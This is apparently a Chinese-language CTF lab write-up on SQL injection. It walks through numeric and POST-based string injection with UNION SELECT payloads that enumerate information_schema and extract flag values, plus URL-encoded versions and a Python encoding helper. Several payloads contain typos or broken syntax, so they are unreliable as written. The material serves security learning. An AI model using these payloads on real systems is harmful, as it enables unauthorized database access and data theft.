本文最后更新于73 天前,其中的信息可能已经过时,如有错误请发送邮件到
matter_lmoon5731@outlook.com
1.数字型注入
在环境中输入1,得到如下信息,我们可以知道去执行的语句为
SELECT * FROM users WHERE id = 1
那么这也就是表明如何我想让其进行执行语句的时候只需要在其后面进行添加一个拼接符union,然后跟上我们的执行语句即可

还是现在系统数据库记录库中中查询这个数据库有哪些表
1 union select 1,table_name,2,3,4 from information_schema.tables where table_schema=database()

得到两个此外的两个表,接下来就是查看flag表中有哪些属性
1 union select column_names,2,3,4,5 from information_schema,columns where table_schema=database() and table_name='flag'
得到其中的属性为id和flag

然后接下来解释查看flag表中的flag
1 union selecet flag ,2,3,4,5 from flag

flag{894819c2b62743c6adff9d23c73a0985}
POST型注入
一开始输入数字,字符都没有反应然后查看源码发现其利用POST传参进行传入后端的

然后利用Bp进行抓包使用,尝试输入张三发现其会有字符会进行URL编码,于是后面的全部命令都使用URL转化后进行尝试

在进行测试”的时候发现报错,于是进行布尔测试,发现确实是为”型的字符型注入
张三" and "1"="1"#
%E5%BC%A0%E4%B8%89%22%20and%20%221%22%3D%221%22%23
张三" and "1"="2"#
%E5%BC%A0%E4%B8%89%22%20and%20%221%22%3D%222%22%23
张三"后端拼接成 "张三""所以报错,
而测试的布尔值拼接 "张三" and "1"="1"#"等价于 张三"后端拼接成 "张三""所以报错,而测试的布尔值拼接 "张三" and "1"="1" 可以执行


然后确认可以执行之后,还是一样先先进行查看当前数据库有哪些表
张三" union select table_name,1,2,3,4,5,6 from information_schema.tables where table_schema=database()#
%E5%BC%A0%E4%B8%89%22%20union%20select%20table_name%2C1%2C2%2C3%2C4%2C5%2C6%20from%20information_schema.tables%20where%20table_schema%3Ddatabase%28%29%23

执行成功得到users和flag两个表,然后接下来查看flag表中的属性
" union select column_name,1,2,3,4,5,6 from information_schema.columns where table_schema=database() and table_name='flag'#
%22%20union%20select%20column_name%2C1%2C2%2C3%2C4%2C5%2C6%20from%20information_schema.columns%20where%20table_schema%3Ddatabase%28%29%20and%20table_name%3D%27flag%27%23

然后得到flag和 id两个属性然后对其进行查看
" union select flag,2,3,4,5,1,4 from flag#
%22%20union%20select%20flag%2C2%2C3%2C4%2C5%2C1%2C4%20from%20flag%23

flag{23309ab8e962436ab68a8cee9b7105f3}
from urllib.parse import quote, quote_plus
payload = input("请输入要编码的 payload: ")
# 普通 URL 编码,空格会变成 %20
encoded = quote(payload, safe='')
# 表单编码,空格会变成 +
encoded_plus = quote_plus(payload, safe='')
print("\n[quote] 空格编码为 %20:")
print(encoded)
print("\n[quote_plus] 空格编码为 +:")
print(encoded_plus)










